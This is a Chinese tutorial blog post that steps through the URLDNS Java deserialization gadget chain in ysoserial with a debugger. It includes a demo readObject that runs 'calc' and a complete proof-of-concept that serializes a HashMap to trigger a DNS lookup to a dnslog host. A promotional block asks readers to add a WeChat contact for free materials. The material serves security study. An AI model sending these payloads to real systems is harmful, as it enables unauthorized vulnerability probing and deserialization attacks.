首页 > 编程语言 >Java反序列化:URLDNS的反序列化调试分析

Java反序列化:URLDNS的反序列化调试分析

时间:2023-07-13 14:36:28浏览次数:39  
标签:java readObject URLDNS new Java 序列化

URLDNS链子是Java反序列化分析的第0课,网上也有很多优质的分析文章。

笔者作为Java安全初学者,也从0到1调试了一遍,现在给出调试笔记。

一. Java反序列化前置知识

Java原生链序列化:利用Java.io.ObjectInputStream对象输出流的writerObject方法实现Serializable接口,将对象转化成字节序列。

Java原生链反序列化:利用Java.io.ObjectOutputStream对象输入流的readObject方法实现将字节序列转化成对象。

测试源码如下,此部分源码参考了ol4three师傅的博客:

package serialize;
​
import java.io.*;
​
public class deserTest implements Serializable {
    private int n;
    public deserTest(int n) {
        this.n=n;
    }
​
    @Override
    public String toString() {
        return "deserTest2 [n=" + n + ", getClass()=" + getClass() + ", hashCode()=" + hashCode() + ", toString()="
                + super.toString() + "]";
    }
​
    // 反序列化
    private void readObject(java.io.ObjectInputStream in) throws IOException,ClassNotFoundException{
        in.defaultReadObject();                 
        Runtime.getRuntime().exec("calc");          
        System.out.println("test");
    }
​
    public static void main(String[] args) {
        deserTest x = new deserTest(5);
        operation1.ser(x);
        operation1.deser();
        x.toString();
    }
}
​
​
// 实现序列化和反序列化具体细节的类
class operation1{
​
    // 将输出字节流写入文件中进行封存
    public static void ser(Object obj) {
        // 序列化操作,写操作
        try {
             // 首先文件落地object.obj存储输出流,绑定输出流           
            ObjectOutputStream ooStream = new ObjectOutputStream(new FileOutputStream("object.obj"));
​
            // 重定向将输出流字节写入文件
            ooStream.writeObject(obj);
            
            ooStream.flush();
            ooStream.close();
​
        } catch (FileNotFoundException e) {
            e.printStackTrace();
        }catch (IOException e) {
            // TODO: handle exception
            e.printStackTrace();
        }
    }
    
    
    public static void deser() {
        // 反序列化,读取操作
        try {
            // 绑定输入流
            ObjectInputStream iiStream = new ObjectInputStream(new FileInputStream("object.obj"));
            
            // 反序列化时需要从相关的文件容器中读取输出的字节流
            // 读取字节流操作为readObject,所以重写readObject可以执行自定义代码
            Object xObject = iiStream.readObject();
            iiStream.close();
        } catch (IOException e) {
            // TODO: handle exception
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }
}

image-20230622200428296

二. ysoserial环境搭建

IDE就直接用JetBrains的IDEA就行

直接拿Java安全payload集成化工具ysoserial进行分析,这里面已经有现成的环境了

https://github.com/frohoff/ysoserial

注意配置好相应的JDKSDK版本:

image-20230704224019895

三. URLDNS攻击链

  • 影响的版本问题:与JDK版本无关,其攻击链实现依赖于Java内置类,与第三方库无关

  • URLDNS这条反序列化链只能发起DNS请求,无法进行其他利用,可以作为验证是否有反序列化漏洞的姿势

调试分析

Gadget Chain:

Deserializer.deserialize() -> HashMap.readObject() -> HashMap.putVal() -> HashMap.hash() ->URL.hashCode() ->

getHostAddress()

在getHostAddress函数中进行域名解析,从而可以被DNSLog平台捕获

URLDNS程序入口

ysoserial-master\src\main\java\ysoserial\payloads\URLDNS.java路径下有URLDNS.java文件

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

main主函数的run函数打断点进入

image-20230704233815765

这个ysoserial-masterpayload运行结构大致是有一个专门的PayloadRunner运行程序,然后统一调用来运行各部分的payload

首先是进行序列化:

image-20230706141716624

image-20230706142531102

继续往下,生成command,由于是分析URLDNS攻击链,所以只需要修改将返回值为dnslog的临时地址

image-20230706142701137

创建实例后,进入到URLDNSgetObjectpayload函数

image-20230706143357422

getObject函数中应该注意的是:声明了HashMap对象和URL对象,并进行put哈希绑定,最后设置作用域

image-20230706170830440

image-20230706204403039

反序列化链子:

在反序列化入口处打断点:

image-20230706195621770

在反序列化时调用了readObject函数

image-20230706201128369

然后进入HashMap.javareadObject函数

image-20230706201250160

readObject中调试到此行,了putval,在此处IDEA这个IDE可以选择进入的函数,直接进入后者hash

由于我们读入字节序列,需要将其恢复成相应的对象结构,那么就需要重新putval

image-20230706201454673

传入的key不为空,执行key.hashCode

image-20230706211639259

进一步在URL.java文件下

image-20230706203125428

进入URLStreamHandlerhashCode

image-20230706203401159

image-20230706202850373

产生解析:

image-20230706203000482

总的来说,利用链思路如下:

在反序列化URLDNS对象时,也需要反序列化HashMap对象,从而调用了HashMap.readObject()的重写函数,重写函数中调用了哈希表putval等的相关重构函数,在hashcode下调用了getHostAddress函数

那么反之,为什么首次声明的时候没有调用到了getHostAddress函数,现在给出声明时的函数路线:

ht.put() --> .. --> SilentURLStreamHandler.getHostAddress()

该函数为空实现

列出几个路线上的关键函数看看:

image-20230706214936664

image-20230706214859555

由于此处keyString类型,则进入String.hashCode

相比之下,在反序列化中keyURL类型

image-20230706215923777

设置了不发起dns解析

image-20230706221106262

image-20230706214558083

具体执行流,可以看下时序图,我就不讲了^^

image-20230706214734409

四. URLDNS链的使用

import java.io.*;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
​
public class Main{
​
​
    // 序列化前不发生dns解析
    static class SilentURLStreamHandler extends URLStreamHandler{
        protected URLConnection openConnection(URL n) throws IOException{
            return null;
        }
​
        protected synchronized InetAddress getHostAddress(URL n)
        {
            return null;
        }
    }
​
    public static void main(String[] args) throws Exception{
​
        HashMap hashMap = new HashMap();
​
        // 设置put时不发起dns解析
        URLStreamHandler handler = new Main.SilentURLStreamHandler();
        URL url = new URL(null, "http://jloqk8.dnslog.cn", handler);
​
​
        // 利用Java反射机制在动态执行时获取类
        Class clazz = Class.forName("java.net.URL");
        Field f = clazz.getDeclaredField("hashCode");
        f.setAccessible(true);
​
        hashMap.put(url, "123");
        f.set(url, -1);
​
        // 对象输出流绑定文件输出流
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
        oos.writeObject(hashMap);   // 序列化
​
        // 对象输入流绑定文件输入流
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
        ois.readObject();           // 反序列化
​
    }
​
}

image-20230706222309238

更多网安技能的在线实操练习,请点击这里>>

 

标签:java,readObject,URLDNS,new,Java,序列化
From: https://www.cnblogs.com/hetianlab/p/17550353.html

相关文章

  • Java空指针异常优雅处理的方式
    1原因如下:由于Java开发过程中一不注意就会造成空指针异常,但是如果要避免这些空指针异常我们就可能需要写如下啰嗦有无聊的语句:if(test!=null&&test.size()>0){..............}为了避免写这些无聊的语句和避免NPE错误,我们可以用如下用法进行替代。......
  • java项目配置druid监控页面
    druid监控页面如图: 满足条件:1.项目引入了druid相关的jar包 2.项目加入druid相关的配置#####druid监控#####WebStatFilter配置spring.datasource.druid.web-stat-filter.enabled=truespring.datasource.druid.web-stat-filter.url-pattern=/*spring.datasource.......
  • 解决redis hash序列化报错的具体操作步骤
    RedisHash序列化报错的解决方法1.问题背景在使用Redis时,有时候会遇到Hash序列化报错的问题。这种问题通常是由于Redis中存储的数据类型与操作的数据类型不一致导致的。在下面的文章中,我将为你详细介绍解决这个问题的步骤和相应的代码示例。2.解决步骤步骤操作1.查......
  • FIX tutorial in Java with QuickFIX/j simple example
    http://www.tuicool.com/articles/v2me6r 时间 2014-07-3112:22:00ArulkumaranKumaraswamipillaiblog主题Log4J Q.WhatisFIXProtocol? A.FIXstandsforFinancialInformationeXchange,whichisanopenprotocolintendedtostre......
  • 解决查看java占用的端口的具体操作步骤
    查看Java占用的端口在开发和运维过程中,我们经常需要查看Java应用程序所占用的端口。这对于排查问题、调试和监控都非常重要。本文将介绍几种方法来查看Java占用的端口,并提供相应的代码示例。方法一:使用jps命令jps命令是Java开发工具包(JDK)自带的一个命令行工具,用于查看Java进程的......
  • 解决查看java进程的参数的具体操作步骤
    查看java进程的参数在开发和运维过程中,我们经常需要查看Java进程的参数,以了解应用程序的配置和运行情况。本文将介绍如何使用命令行和Java代码来查看Java进程的参数。命令行方式1.jps命令jps命令是JDK自带的一个工具,用于查看Java进程的信息,包括进程ID和进程名。我们可以通过jp......
  • 如何实现布尔方法java的具体操作步骤
    实现布尔方法(Java)作为一名经验丰富的开发者,我来教你如何实现布尔方法(BooleanMethods)在Java编程中的应用。布尔方法是一种返回布尔值(true或false)的方法,它可以用于判断逻辑条件,决定程序的执行路径。整体流程下面是实现布尔方法的整体流程:步骤描述1定义布尔方法的名称......
  • java JDK安装及配置
    javaJDK安装及配置windows11jdk-8u261-windows-x64.exe1、点击安装,一路默认即可2、设置系统环境变量新建JAVA_HOME指明JDK安装路径,就是刚才安装时所选择的路径C:\ProgramFiles\Java\jdk1.8.0_261,此路径下包括lib,bin,jre等文件夹(此变量最好设置,因为以后运行tomcat,eclipse等......
  • JavaScript
    引入JavaScript1.内部标签<script></script>2.外部引用<scriptsrc="引入JavaScript.js"></script>浏览器控制台使用1.alert(弹窗)alert();2.console.log(控制台打印)console.log();数据类型1.等于和绝对等于==等于(类型不一样,值相等,判断为true)===绝......
  • OAF:第五章-实现服务端java实体对象
    一、关于实体对象实体对象:实体对象为应用表封装了业务逻辑和DML操作;1.对象模型和关键类oracle.apps.fnd.framework.server.==OAEntityCache==:该缓存类用于存储特定实体对象的查询结果集。映射到相同实体对象的多个视图对象共享相同的实体缓存;oracle.apps.fnd.framework.server......